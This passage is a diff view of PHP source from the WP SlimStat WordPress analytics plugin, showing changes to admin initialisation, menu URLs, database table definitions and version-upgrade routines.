// Include and initialize the API to interact with the database
|
202 |
+
include_once(dirname(__FILE__).'/wp-slimstat-db.php');
|
203 |
wp_slimstat_db::init($filters);
|
204 |
|
205 |
// Some of the filters supported by the API do not appear in the dropdown
|
210 |
self::$chart_tooltip .= empty(wp_slimstat_db::$filters_normalized['date']['day'])?'<li>'.__('Click on a data point to display the activity chart for each hour of that day','wp-slimstat').'</li>':'';
|
211 |
}
|
212 |
// end init
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
213 |
|
214 |
public static function get_search_terms_info($_searchterms = '', $_domain = '', $_referer = '', $_serp_only = false){
|
215 |
$query_details = '';
|
467 |
break;
|
468 |
case 'user':
|
469 |
$element_value = $results[$i]['user'];
|
470 |
+
if (wp_slimstat::$options['show_display_name'] == 'yes'){
|
471 |
$element_custom_value = get_user_by('login', $results[$i]['user']);
|
472 |
if (is_object($element_custom_value)) $element_value = $element_custom_value->display_name;
|
473 |
}
|
1015 |
$your_content['trackbacks'] = $GLOBALS['wpdb']->get_var("SELECT COUNT(*) FROM {$GLOBALS['wpdb']->comments} WHERE comment_type = 'trackback'");
|
1016 |
$your_content['longest_post_id'] = $GLOBALS['wpdb']->get_var("SELECT ID FROM {$GLOBALS['wpdb']->posts} WHERE post_status = 'publish' AND post_type = 'post' ORDER BY LENGTH(post_content) DESC LIMIT 0,1");
|
1017 |
$your_content['oldest_post_timestamp'] = $GLOBALS['wpdb']->get_var("SELECT UNIX_TIMESTAMP(post_date) FROM {$GLOBALS['wpdb']->posts} WHERE post_status = 'publish' AND post_type = 'post' ORDER BY post_date ASC LIMIT 0,1");
|
1018 |
+
$your_content['longest_comment_id'] = $GLOBALS['wpdb']->get_var("SELECT comment_ID FROM {$GLOBALS['wpdb']->comments} ORDER BY LENGTH(comment_content) DESC LIMIT 0,1");
|
1019 |
$your_content['avg_comments_per_post'] = !empty($your_content['posts'])?$your_content['comments']/$your_content['posts']:0;
|
1020 |
|
1021 |
$days_in_interval = floor((date_i18n('U')-$your_content['oldest_post_timestamp'])/86400);
|
1048 |
}
|
1049 |
|
1050 |
if (!$is_ajax && (in_array($_report_id, self::$hidden_reports) || wp_slimstat::$options['async_load'] == 'yes')) return;
|
1051 |
+
|
1052 |
// Some boxes need extra information
|
1053 |
if (in_array($_report_id, array('slim_p1_03', 'slim_p1_08', 'slim_p1_13', 'slim_p1_17', 'slim_p2_03', 'slim_p2_04', 'slim_p2_05', 'slim_p2_06', 'slim_p2_18', 'slim_p2_19', 'slim_p2_10', 'slim_p3_02', 'slim_p3_04'))){
|
1054 |
$current_pageviews = wp_slimstat_db::count_records();
|
1101 |
self::show_results('recent', $_report_id, 'searchterms');
|
1102 |
break;
|
1103 |
case 'slim_p1_08':
|
1104 |
+
self::show_results('popular', $_report_id, 'resource', array('total_for_percentage' => $current_pageviews));
|
1105 |
break;
|
1106 |
case 'slim_p1_10':
|
1107 |
case 'slim_p3_05':
|
1252 |
self::show_world_map($_report_id);
|
1253 |
break;
|
1254 |
case 'slim_p7_02':
|
|
|
1255 |
include_once(WP_PLUGIN_DIR."/wp-slimstat/admin/view/right-now.php");
|
1256 |
break;
|
1257 |
default:
|
admin/wp-slimstat-admin.php
CHANGED
@@ -2,10 +2,12 @@
|
|
2 |
|
3 |
class wp_slimstat_admin{
|
4 |
|
|
|
5 |
public static $config_url = '';
|
|
|
6 |
public static $faulty_fields = array();
|
7 |
|
8 |
-
protected static $admin_notice = "
|
9 |
|
10 |
/**
|
11 |
* Init -- Sets things up.
|
@@ -16,7 +18,19 @@ class wp_slimstat_admin{
|
|
16 |
wp_slimstat::$options['use_separate_menu'] = in_array($_POST['options']['use_separate_menu'], array('yes','no'))?$_POST['options']['use_separate_menu']:'';
|
17 |
}
|
18 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
19 |
self::$config_url = ((wp_slimstat::$options['use_separate_menu'] == 'yes')?'admin.php':'options.php').'?page=wp-slim-config&tab=';
|
|
|
|
|
|
|
20 |
load_plugin_textdomain('wp-slimstat', WP_PLUGIN_DIR .'/wp-slimstat/admin/lang', '/wp-slimstat/admin/lang');
|
21 |
|
22 |
// If a localization does not exist, use English
|
@@ -25,7 +39,7 @@ class wp_slimstat_admin{
|
|
25 |
}
|
26 |
|
27 |
// WPMU - New blog created
|
28 |
-
$active_sitewide_plugins = get_site_option(
|
29 |
if (!empty($active_sitewide_plugins['wp-slimstat/wp-slimstat.php'])){
|
30 |
add_action('wpmu_new_blog', array(__CLASS__, 'new_blog'));
|
31 |
}
|
@@ -36,9 +50,6 @@ class wp_slimstat_admin{
|
|
36 |
// Screen options: hide/show panels to customize your view
|
37 |
add_filter('screen_settings', array(__CLASS__, 'screen_settings'), 10, 2);
|
38 |
|
39 |
-
// Show the activation and config links, if the network is not too large
|
40 |
-
add_filter('plugin_action_links_wp-slimstat/wp-slimstat.php', array(__CLASS__, 'plugin_action_links'), 10, 2);
|
41 |
-
|
42 |
// Display a notice that hightlights this version's features
|
43 |
if (!empty($_GET['page']) && strpos($_GET['page'], 'wp-slim') !== false && !empty(self::$admin_notice) && wp_slimstat::$options['show_admin_notice'] != wp_slimstat::$version) {
|
44 |
add_action('admin_notices', array(__CLASS__, 'show_admin_notice'));
|
@@ -54,7 +65,7 @@ class wp_slimstat_admin{
|
|
54 |
add_action('admin_menu', array(__CLASS__, 'wp_slimstat_add_view_menu'));
|
55 |
add_action('admin_menu', array(__CLASS__, 'wp_slimstat_add_config_menu'));
|
56 |
|
57 |
-
// Display the column in the Edit Posts screen
|
58 |
if (wp_slimstat::$options['add_posts_column'] == 'yes'){
|
59 |
add_filter('manage_posts_columns', array(__CLASS__, 'add_column_header'));
|
60 |
add_filter('manage_pages_columns', array(__CLASS__, 'add_column_header'));
|
@@ -63,15 +74,15 @@ class wp_slimstat_admin{
|
|
63 |
add_action('admin_enqueue_scripts', array(__CLASS__, 'wp_slimstat_stylesheet'));
|
64 |
}
|
65 |
|
66 |
-
//
|
67 |
add_action('admin_enqueue_scripts', array(__CLASS__, 'wp_slimstat_stylesheet_icon'));
|
68 |
|
69 |
// Update the table structure and options, if needed
|
70 |
-
if (empty(wp_slimstat::$options['version'])
|
71 |
-
self::update_tables_and_options(
|
72 |
}
|
73 |
else{
|
74 |
-
$admin_filemtime = @filemtime(
|
75 |
if (($admin_filemtime < date('U') - 864000) && wp_slimstat::$options['enable_ads_network'] == 'null'){
|
76 |
wp_slimstat::$options['enable_ads_network'] = 'yes';
|
77 |
}
|
@@ -80,7 +91,7 @@ class wp_slimstat_admin{
|
|
80 |
|
81 |
// Load the library of functions to generate the reports
|
82 |
if ((!empty($_GET['page']) && strpos($_GET['page'], 'wp-slim-view') !== false) || (!empty($_POST['action']) && $_POST['action'] == 'slimstat_load_report')){
|
83 |
-
include_once(dirname(__FILE__).
|
84 |
wp_slimstat_reports::init();
|
85 |
}
|
86 |
|
@@ -91,15 +102,6 @@ class wp_slimstat_admin{
|
|
91 |
}
|
92 |
}
|
93 |
// end init
|
94 |
-
|
95 |
-
/**
|
96 |
-
* Initializes all the tables and options
|
97 |
-
*/
|
98 |
-
public static function activate(){
|
99 |
-
wp_slimstat::$options = get_option('slimstat_options', array());
|
100 |
-
self::init_environment(true);
|
101 |
-
}
|
102 |
-
// end activate
|
103 |
|
104 |
/**
|
105 |
* Clears the purge cron job
|
@@ -114,7 +116,7 @@ class wp_slimstat_admin{
|
|
114 |
*/
|
115 |
public static function new_blog($_blog_id){
|
116 |
switch_to_blog($_blog_id);
|
117 |
-
self::init_environment(
|
118 |
restore_current_blog();
|
119 |
wp_slimstat::$options = get_option('slimstat_options', array());
|
120 |
}
|
@@ -129,13 +131,17 @@ class wp_slimstat_admin{
|
|
129 |
|
130 |
return $_tables;
|
131 |
}
|
132 |
-
// end
|
133 |
|
134 |
/**
|
135 |
* Creates tables, initializes options and schedules purge cron
|
136 |
*/
|
137 |
-
public static function init_environment(
|
138 |
-
|
|
|
|
|
|
|
|
|
139 |
self::init_tables($my_wpdb);
|
140 |
|
141 |
// Schedule the autopurge hook
|
@@ -143,11 +149,6 @@ class wp_slimstat_admin{
|
|
143 |
wp_schedule_event('1262311200', 'daily', 'wp_slimstat_purge');
|
144 |
}
|
145 |
|
146 |
-
// If this function hasn't been called during the upgrade process, make sure to init and update all the options
|
147 |
-
if ($_activate){
|
148 |
-
self::update_tables_and_options(true);
|
149 |
-
}
|
150 |
-
|
151 |
return true;
|
152 |
}
|
153 |
// end init_environment
|
@@ -171,8 +172,8 @@ class wp_slimstat_admin{
|
|
171 |
country VARCHAR(16) DEFAULT '',
|
172 |
domain VARCHAR(255) DEFAULT '',
|
173 |
referer VARCHAR(2048) DEFAULT '',
|
174 |
-
searchterms VARCHAR(2048) DEFAULT '',
|
175 |
resource VARCHAR(2048) DEFAULT '',
|
|
|
176 |
browser_id SMALLINT UNSIGNED NOT NULL DEFAULT 0,
|
177 |
screenres_id MEDIUMINT UNSIGNED NOT NULL DEFAULT 0,
|
178 |
content_info_id INT UNSIGNED NOT NULL DEFAULT 1,
|
@@ -180,10 +181,10 @@ class wp_slimstat_admin{
|
|
180 |
notes VARCHAR(2048) DEFAULT '',
|
181 |
visit_id INT UNSIGNED NOT NULL DEFAULT 0,
|
182 |
dt INT(10) UNSIGNED DEFAULT 0,
|
183 |
-
PRIMARY KEY
|
|
|
184 |
CONSTRAINT fk_{$GLOBALS['wpdb']->prefix}browser_id FOREIGN KEY (browser_id) REFERENCES {$GLOBALS['wpdb']->base_prefix}slim_browsers(browser_id),
|
185 |
-
CONSTRAINT fk_{$GLOBALS['wpdb']->prefix}content_info_id FOREIGN KEY (content_info_id) REFERENCES {$GLOBALS['wpdb']->base_prefix}slim_content_info(content_info_id)
|
186 |
-
INDEX dt_idx(dt)
|
187 |
) COLLATE utf8_general_ci $use_innodb";
|
188 |
|
189 |
// A lookup table for browsers can help save some space
|
@@ -196,8 +197,8 @@ class wp_slimstat_admin{
|
|
196 |
css_version VARCHAR(5) DEFAULT '',
|
197 |
type TINYINT UNSIGNED DEFAULT 0,
|
198 |
user_agent VARCHAR(2048) DEFAULT '',
|
199 |
-
PRIMARY KEY (browser_id),
|
200 |
-
UNIQUE KEY
|
201 |
) COLLATE utf8_general_ci $use_innodb";
|
202 |
|
203 |
// A lookup table to store screen resolutions
|
@@ -207,8 +208,8 @@ class wp_slimstat_admin{
|
|
207 |
resolution VARCHAR(12) DEFAULT '',
|
208 |
colordepth VARCHAR(5) DEFAULT '',
|
209 |
antialias BOOL DEFAULT FALSE,
|
210 |
-
PRIMARY KEY (screenres_id),
|
211 |
-
UNIQUE KEY
|
212 |
) COLLATE utf8_general_ci $use_innodb";
|
213 |
|
214 |
// A lookup table to store content information
|
@@ -219,8 +220,8 @@ class wp_slimstat_admin{
|
|
219 |
category VARCHAR(256) DEFAULT '',
|
220 |
author VARCHAR(64) DEFAULT '',
|
221 |
content_id BIGINT(20) UNSIGNED DEFAULT 0,
|
222 |
-
PRIMARY KEY (content_info_id),
|
223 |
-
UNIQUE KEY
|
224 |
) COLLATE utf8_general_ci $use_innodb";
|
225 |
|
226 |
// This table will track outbound links (clicks on links to external sites)
|
@@ -234,9 +235,9 @@ class wp_slimstat_admin{
|
|
234 |
position VARCHAR(32) DEFAULT '',
|
235 |
id INT UNSIGNED NOT NULL DEFAULT 0,
|
236 |
dt INT(10) UNSIGNED DEFAULT 0,
|
237 |
-
PRIMARY KEY (outbound_id),
|
238 |
-
|
239 |
-
|
240 |
) COLLATE utf8_general_ci $use_innodb";
|
241 |
|
242 |
// Ok, let's create the table structure
|
@@ -245,17 +246,19 @@ class wp_slimstat_admin{
|
|
245 |
self::_create_table($content_info_table_sql, $GLOBALS['wpdb']->base_prefix.'slim_content_info', $_wpdb);
|
246 |
self::_create_table($stats_table_sql, $GLOBALS['wpdb']->prefix.'slim_stats', $_wpdb);
|
247 |
self::_create_table($outbound_table_sql, $GLOBALS['wpdb']->prefix.'slim_outbound', $_wpdb);
|
|
|
|
|
|
|
|
|
|
|
248 |
}
|
249 |
// end init_tables
|
250 |
|
251 |
/**
|
252 |
* Updates the table structure, and make it backward-compatible with all the previous versions released.
|
253 |
*/
|
254 |
-
public static function update_tables_and_options(
|
255 |
$my_wpdb = apply_filters('slimstat_custom_wpdb', $GLOBALS['wpdb']);
|
256 |
-
|
257 |
-
// Create initial structure or missing tables
|
258 |
-
if (!$_activate) self::init_environment(false);
|
259 |
|
260 |
// --- Updates for version 3.1 ---
|
261 |
if (version_compare(wp_slimstat::$options['version'], '3.1', '<')){
|
@@ -297,8 +300,6 @@ class wp_slimstat_admin{
|
|
297 |
// --- Updates for version 3.5.9 ---
|
298 |
if (version_compare(wp_slimstat::$options['version'], '3.5.9', '<')){
|
299 |
// slim_browsers
|
300 |
-
$my_wpdb->query("DELETE FROM {$GLOBALS['wpdb']->prefix}slim_stats WHERE browser_id <= 0");
|
301 |
-
$my_wpdb->query("DELETE FROM {$GLOBALS['wpdb']->base_prefix}slim_browsers WHERE browser_id <= 0");
|
302 |
$my_wpdb->query("ALTER TABLE {$GLOBALS['wpdb']->base_prefix}slim_stats DROP FOREIGN KEY fk_browser_id");
|
303 |
|
304 |
// Check if slim_browsers needs to be updated
|
@@ -311,8 +312,6 @@ class wp_slimstat_admin{
|
|
311 |
$my_wpdb->query("ALTER TABLE {$GLOBALS['wpdb']->prefix}slim_stats ADD CONSTRAINT fk_{$GLOBALS['wpdb']->prefix}browser_id FOREIGN KEY (browser_id) REFERENCES {$GLOBALS['wpdb']->base_prefix}slim_browsers (browser_id)");
|
312 |
|
313 |
// slim_content_info
|
314 |
-
$my_wpdb->query("DELETE FROM {$GLOBALS['wpdb']->prefix}slim_stats WHERE content_info_id <= 0");
|
315 |
-
$my_wpdb->query("DELETE FROM {$GLOBALS['wpdb']->base_prefix}slim_content_info WHERE content_info_id <= 0");
|
316 |
$my_wpdb->query("ALTER TABLE {$GLOBALS['wpdb']->base_prefix}slim_stats DROP FOREIGN KEY fk_content_info_id");
|
317 |
|
318 |
// Check if slim_content_info needs to be updated
|
@@ -329,20 +328,22 @@ class wp_slimstat_admin{
|
|
329 |
$my_wpdb->query("ALTER TABLE {$GLOBALS['wpdb']->prefix}slim_outbound ADD CONSTRAINT fk_{$GLOBALS['wpdb']->prefix}id FOREIGN KEY (id) REFERENCES {$GLOBALS['wpdb']->prefix}slim_stats (id) ON UPDATE CASCADE ON DELETE CASCADE");
|
330 |
}
|
331 |
// --- END: Updates for version 3.5.9 ---
|
332 |
-
|
|
|
|
|
|
|
|
|
|
|
333 |
// Now we can update the version stored in the database
|
334 |
-
|
335 |
-
wp_slimstat::$options['version'] = wp_slimstat::$version;
|
336 |
|
337 |
-
|
338 |
-
|
339 |
-
|
340 |
-
|
341 |
-
|
342 |
|
343 |
-
|
344 |
-
}
|
345 |
-
update_option('slimstat_options', wp_slimstat::$options);
|
346 |
|
347 |
return true;
|
348 |
}
|
@@ -403,9 +404,9 @@ class wp_slimstat_admin{
|
|
403 |
$params = array(
|
404 |
'async_load' => wp_slimstat::$options['async_load'],
|
405 |
'datepicker_image' => plugins_url('/admin/images/datepicker.png', dirname(__FILE__)),
|
406 |
-
'current_tab' =>
|
407 |
'expand_details' => isset(wp_slimstat::$options['expand_details'])?wp_slimstat::$options['expand_details']:'no',
|
408 |
-
'refresh_interval' => (
|
409 |
'text_direction' => $GLOBALS['wp_locale']->text_direction
|
410 |
);
|
411 |
wp_localize_script('slimstat_admin', 'SlimStatAdminParams', $params);
|
@@ -523,32 +524,10 @@ class wp_slimstat_admin{
|
|
523 |
}
|
524 |
// end wp_slimstat_include_config
|
525 |
|
526 |
-
/**
|
527 |
-
* Removes the activation link if the network is too big
|
528 |
-
*/
|
529 |
-
public static function plugin_action_links($_links, $_file){
|
530 |
-
if (function_exists('get_blog_count') && (get_blog_count() > 50))
|
531 |
-
return $_links;
|
532 |
-
|
533 |
-
if (empty(wp_slimstat::$options['can_admin']) || strpos(wp_slimstat::$options['can_admin'], $GLOBALS['current_user']->user_login) !== false){
|
534 |
-
if (wp_slimstat::$options['use_separate_menu'] == 'yes'){
|
535 |
-
$_links['wp-slimstat'] = '<a href="admin.php?page=wp-slim-config">'.__('Settings','wp-slimstat').'</a>';
|
536 |
-
}
|
537 |
-
else{
|
538 |
-
$_links['wp-slimstat'] = '<a href="options-general.php?page=wp-slim-config">'.__('Settings','wp-slimstat').'</a>';
|
539 |
-
}
|
540 |
-
}
|
541 |
-
return $_links;
|
542 |
-
}
|
543 |
-
// end plugin_action_links
|
544 |
-
|
545 |
/**
|
546 |
* Adds a new column header to the Posts panel (to show the number of pageviews for each post)
|
547 |
*/
|
548 |
public static function add_column_header($_columns){
|
549 |
-
include_once(dirname(__FILE__)."/view/wp-slimstat-reports.php");
|
550 |
-
wp_slimstat_reports::init();
|
551 |
-
|
552 |
$_columns['wp-slimstat'] = '<span class="slimstat-icon" title="'.__('Pageviews in the last 365 days','wp-slimstat').'"></span>';
|
553 |
return $_columns;
|
554 |
}
|
@@ -559,11 +538,14 @@ class wp_slimstat_admin{
|
|
559 |
*/
|
560 |
public static function add_post_column($_column_name, $_post_id){
|
561 |
if ('wp-slimstat' != $_column_name) return;
|
|
|
|
|
|
|
562 |
$parsed_permalink = parse_url( get_permalink($_post_id) );
|
563 |
$parsed_permalink = $parsed_permalink['path'].(!empty($parsed_permalink['query'])?'?'.$parsed_permalink['query']:'');
|
564 |
wp_slimstat_db::init('resource contains '.$parsed_permalink.'&&&hour equals 0&&&day equals '.date_i18n('d').'&&&month equals '.date_i18n('m').'&&&year equals '.date_i18n('Y').'&&&interval equals -365');
|
565 |
$count = wp_slimstat_db::count_records();
|
566 |
-
echo '<a href="'.
|
567 |
}
|
568 |
// end add_column
|
569 |
|
@@ -589,6 +571,43 @@ class wp_slimstat_admin{
|
|
589 |
|
590 |
return $current;
|
591 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
592 |
|
593 |
/**
|
594 |
* Displays an alert message
|
@@ -707,23 +726,6 @@ class wp_slimstat_admin{
|
|
707 |
</tr><?php
|
708 |
}
|
709 |
|
710 |
-
/**
|
711 |
-
* Displays warning if plugin is not working properly (client-side data not collected for some reason)
|
712 |
-
*/
|
713 |
-
public static function check_screenres(){
|
714 |
-
if (wp_slimstat::$options['enable_javascript'] == 'yes'){
|
715 |
-
$count_humans = wp_slimstat::$wpdb->get_var("SELECT COUNT(*) FROM {$GLOBALS['wpdb']->prefix}slim_stats WHERE visit_id > 0");
|
716 |
-
if ($count_humans > 0){
|
717 |
-
$count_screenres = wp_slimstat::$wpdb->get_var("SELECT COUNT(*) FROM {$GLOBALS['wpdb']->base_prefix}slim_screenres");
|
718 |
-
if ($count_screenres == 0){
|
719 |
-
self::show_alert_message(__('WARNING: a misconfigured setting and/or server environment is preventing WP SlimStat from properly tracking your visitors. Please <a target="_blank" href="http://wordpress.org/extend/plugins/wp-slimstat/faq/">check the FAQs</a> for more information.','wp-slimstat'), 'error below-h2');
|
720 |
-
return false;
|
721 |
-
}
|
722 |
-
}
|
723 |
-
}
|
724 |
-
return true;
|
725 |
-
}
|
726 |
-
|
727 |
/**
|
728 |
* Contextual help
|
729 |
*/
|
2 |
|
3 |
class wp_slimstat_admin{
|
4 |
|
5 |
+
public static $view_url = '';
|
6 |
public static $config_url = '';
|
7 |
+
public static $current_tab = 1;
|
8 |
public static $faulty_fields = array();
|
9 |
|
10 |
+
protected static $admin_notice = "Network-wide reports? <a href='http://slimstat.getused.to.it/addons/network-view/' target='_blank'>YES, please!</a> You asked for it, you got it. We're now working on network-wide settings, stay tuned!";
|
11 |
|
12 |
/**
|
13 |
* Init -- Sets things up.
|
18 |
wp_slimstat::$options['use_separate_menu'] = in_array($_POST['options']['use_separate_menu'], array('yes','no'))?$_POST['options']['use_separate_menu']:'';
|
19 |
}
|
20 |
|
21 |
+
// Current screen
|
22 |
+
if (!empty($_GET['page'])){
|
23 |
+
self::$current_tab = intval(str_replace('wp-slim-view-', '', $_GET['page']));
|
24 |
+
}
|
25 |
+
else if (!empty($_POST['current_tab'])){
|
26 |
+
self::$current_tab = intval($_POST['current_tab']);
|
27 |
+
}
|
28 |
+
|
29 |
+
// Settings URL
|
30 |
self::$config_url = ((wp_slimstat::$options['use_separate_menu'] == 'yes')?'admin.php':'options.php').'?page=wp-slim-config&tab=';
|
31 |
+
self::$view_url = ((wp_slimstat::$options['use_separate_menu'] == 'yes')?'admin.php':'options.php').'?page=wp-slim-view-'.self::$current_tab;
|
32 |
+
|
33 |
+
// Load language files
|
34 |
load_plugin_textdomain('wp-slimstat', WP_PLUGIN_DIR .'/wp-slimstat/admin/lang', '/wp-slimstat/admin/lang');
|
35 |
|
36 |
// If a localization does not exist, use English
|
39 |
}
|
40 |
|
41 |
// WPMU - New blog created
|
42 |
+
$active_sitewide_plugins = get_site_option('active_sitewide_plugins');
|
43 |
if (!empty($active_sitewide_plugins['wp-slimstat/wp-slimstat.php'])){
|
44 |
add_action('wpmu_new_blog', array(__CLASS__, 'new_blog'));
|
45 |
}
|
50 |
// Screen options: hide/show panels to customize your view
|
51 |
add_filter('screen_settings', array(__CLASS__, 'screen_settings'), 10, 2);
|
52 |
|
|
|
|
|
|
|
53 |
// Display a notice that hightlights this version's features
|
54 |
if (!empty($_GET['page']) && strpos($_GET['page'], 'wp-slim') !== false && !empty(self::$admin_notice) && wp_slimstat::$options['show_admin_notice'] != wp_slimstat::$version) {
|
55 |
add_action('admin_notices', array(__CLASS__, 'show_admin_notice'));
|
65 |
add_action('admin_menu', array(__CLASS__, 'wp_slimstat_add_view_menu'));
|
66 |
add_action('admin_menu', array(__CLASS__, 'wp_slimstat_add_config_menu'));
|
67 |
|
68 |
+
// Display the column in the Edit Posts / Pages screen
|
69 |
if (wp_slimstat::$options['add_posts_column'] == 'yes'){
|
70 |
add_filter('manage_posts_columns', array(__CLASS__, 'add_column_header'));
|
71 |
add_filter('manage_pages_columns', array(__CLASS__, 'add_column_header'));
|
74 |
add_action('admin_enqueue_scripts', array(__CLASS__, 'wp_slimstat_stylesheet'));
|
75 |
}
|
76 |
|
77 |
+
// Add some inline CSS to customize the icon associated to SlimStat in the sidebar
|
78 |
add_action('admin_enqueue_scripts', array(__CLASS__, 'wp_slimstat_stylesheet_icon'));
|
79 |
|
80 |
// Update the table structure and options, if needed
|
81 |
+
if (!empty(wp_slimstat::$options['version']) && wp_slimstat::$options['version'] != wp_slimstat::$version){
|
82 |
+
self::update_tables_and_options();
|
83 |
}
|
84 |
else{
|
85 |
+
$admin_filemtime = @filemtime(__FILE__);
|
86 |
if (($admin_filemtime < date('U') - 864000) && wp_slimstat::$options['enable_ads_network'] == 'null'){
|
87 |
wp_slimstat::$options['enable_ads_network'] = 'yes';
|
88 |
}
|
91 |
|
92 |
// Load the library of functions to generate the reports
|
93 |
if ((!empty($_GET['page']) && strpos($_GET['page'], 'wp-slim-view') !== false) || (!empty($_POST['action']) && $_POST['action'] == 'slimstat_load_report')){
|
94 |
+
include_once(dirname(__FILE__).'/view/wp-slimstat-reports.php');
|
95 |
wp_slimstat_reports::init();
|
96 |
}
|
97 |
|
102 |
}
|
103 |
}
|
104 |
// end init
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
105 |
|
106 |
/**
|
107 |
* Clears the purge cron job
|
116 |
*/
|
117 |
public static function new_blog($_blog_id){
|
118 |
switch_to_blog($_blog_id);
|
119 |
+
self::init_environment();
|
120 |
restore_current_blog();
|
121 |
wp_slimstat::$options = get_option('slimstat_options', array());
|
122 |
}
|
131 |
|
132 |
return $_tables;
|
133 |
}
|
134 |
+
// end drop_tables
|
135 |
|
136 |
/**
|
137 |
* Creates tables, initializes options and schedules purge cron
|
138 |
*/
|
139 |
+
public static function init_environment(){
|
140 |
+
if (function_exists('apply_filters')){
|
141 |
+
$my_wpdb = apply_filters('slimstat_custom_wpdb', $GLOBALS['wpdb']);
|
142 |
+
}
|
143 |
+
|
144 |
+
// Create the tables
|
145 |
self::init_tables($my_wpdb);
|
146 |
|
147 |
// Schedule the autopurge hook
|
149 |
wp_schedule_event('1262311200', 'daily', 'wp_slimstat_purge');
|
150 |
}
|
151 |
|
|
|
|
|
|
|
|
|
|
|
152 |
return true;
|
153 |
}
|
154 |
// end init_environment
|
172 |
country VARCHAR(16) DEFAULT '',
|
173 |
domain VARCHAR(255) DEFAULT '',
|
174 |
referer VARCHAR(2048) DEFAULT '',
|
|
|
175 |
resource VARCHAR(2048) DEFAULT '',
|
176 |
+
searchterms VARCHAR(2048) DEFAULT '',
|
177 |
browser_id SMALLINT UNSIGNED NOT NULL DEFAULT 0,
|
178 |
screenres_id MEDIUMINT UNSIGNED NOT NULL DEFAULT 0,
|
179 |
content_info_id INT UNSIGNED NOT NULL DEFAULT 1,
|
181 |
notes VARCHAR(2048) DEFAULT '',
|
182 |
visit_id INT UNSIGNED NOT NULL DEFAULT 0,
|
183 |
dt INT(10) UNSIGNED DEFAULT 0,
|
184 |
+
CONSTRAINT PRIMARY KEY (id),
|
185 |
+
INDEX idx_{$GLOBALS['wpdb']->prefix}slim_stats_dt (dt),
|
186 |
CONSTRAINT fk_{$GLOBALS['wpdb']->prefix}browser_id FOREIGN KEY (browser_id) REFERENCES {$GLOBALS['wpdb']->base_prefix}slim_browsers(browser_id),
|
187 |
+
CONSTRAINT fk_{$GLOBALS['wpdb']->prefix}content_info_id FOREIGN KEY (content_info_id) REFERENCES {$GLOBALS['wpdb']->base_prefix}slim_content_info(content_info_id)
|
|
|
188 |
) COLLATE utf8_general_ci $use_innodb";
|
189 |
|
190 |
// A lookup table for browsers can help save some space
|
197 |
css_version VARCHAR(5) DEFAULT '',
|
198 |
type TINYINT UNSIGNED DEFAULT 0,
|
199 |
user_agent VARCHAR(2048) DEFAULT '',
|
200 |
+
CONSTRAINT PRIMARY KEY (browser_id),
|
201 |
+
CONSTRAINT UNIQUE KEY uk_{$GLOBALS['wpdb']->prefix}browsers (browser, version, platform, css_version, type)
|
202 |
) COLLATE utf8_general_ci $use_innodb";
|
203 |
|
204 |
// A lookup table to store screen resolutions
|
208 |
resolution VARCHAR(12) DEFAULT '',
|
209 |
colordepth VARCHAR(5) DEFAULT '',
|
210 |
antialias BOOL DEFAULT FALSE,
|
211 |
+
CONSTRAINT PRIMARY KEY (screenres_id),
|
212 |
+
CONSTRAINT UNIQUE KEY uk_{$GLOBALS['wpdb']->prefix}screenres (resolution, colordepth, antialias)
|
213 |
) COLLATE utf8_general_ci $use_innodb";
|
214 |
|
215 |
// A lookup table to store content information
|
220 |
category VARCHAR(256) DEFAULT '',
|
221 |
author VARCHAR(64) DEFAULT '',
|
222 |
content_id BIGINT(20) UNSIGNED DEFAULT 0,
|
223 |
+
CONSTRAINT PRIMARY KEY (content_info_id),
|
224 |
+
CONSTRAINT UNIQUE KEY uk_{$GLOBALS['wpdb']->prefix}content_info (content_type(20), category(20), author(20), content_id)
|
225 |
) COLLATE utf8_general_ci $use_innodb";
|
226 |
|
227 |
// This table will track outbound links (clicks on links to external sites)
|
235 |
position VARCHAR(32) DEFAULT '',
|
236 |
id INT UNSIGNED NOT NULL DEFAULT 0,
|
237 |
dt INT(10) UNSIGNED DEFAULT 0,
|
238 |
+
CONSTRAINT PRIMARY KEY (outbound_id),
|
239 |
+
INDEX idx_{$GLOBALS['wpdb']->prefix}slim_outbound (dt),
|
240 |
+
CONSTRAINT fk_{$GLOBALS['wpdb']->prefix}id FOREIGN KEY (id) REFERENCES {$GLOBALS['wpdb']->prefix}slim_stats(id) ON UPDATE CASCADE ON DELETE CASCADE
|
241 |
) COLLATE utf8_general_ci $use_innodb";
|
242 |
|
243 |
// Ok, let's create the table structure
|
246 |
self::_create_table($content_info_table_sql, $GLOBALS['wpdb']->base_prefix.'slim_content_info', $_wpdb);
|
247 |
self::_create_table($stats_table_sql, $GLOBALS['wpdb']->prefix.'slim_stats', $_wpdb);
|
248 |
self::_create_table($outbound_table_sql, $GLOBALS['wpdb']->prefix.'slim_outbound', $_wpdb);
|
249 |
+
|
250 |
+
// Let's save the version in the database
|
251 |
+
if (empty(wp_slimstat::$options['version'])){
|
252 |
+
wp_slimstat::$options['version'] = wp_slimstat::$version;
|
253 |
+
}
|
254 |
}
|
255 |
// end init_tables
|
256 |
|
257 |
/**
|
258 |
* Updates the table structure, and make it backward-compatible with all the previous versions released.
|
259 |
*/
|
260 |
+
public static function update_tables_and_options(){
|
261 |
$my_wpdb = apply_filters('slimstat_custom_wpdb', $GLOBALS['wpdb']);
|
|
|
|
|
|
|
262 |
|
263 |
// --- Updates for version 3.1 ---
|
264 |
if (version_compare(wp_slimstat::$options['version'], '3.1', '<')){
|
300 |
// --- Updates for version 3.5.9 ---
|
301 |
if (version_compare(wp_slimstat::$options['version'], '3.5.9', '<')){
|
302 |
// slim_browsers
|
|
|
|
|
303 |
$my_wpdb->query("ALTER TABLE {$GLOBALS['wpdb']->base_prefix}slim_stats DROP FOREIGN KEY fk_browser_id");
|
304 |
|
305 |
// Check if slim_browsers needs to be updated
|
312 |
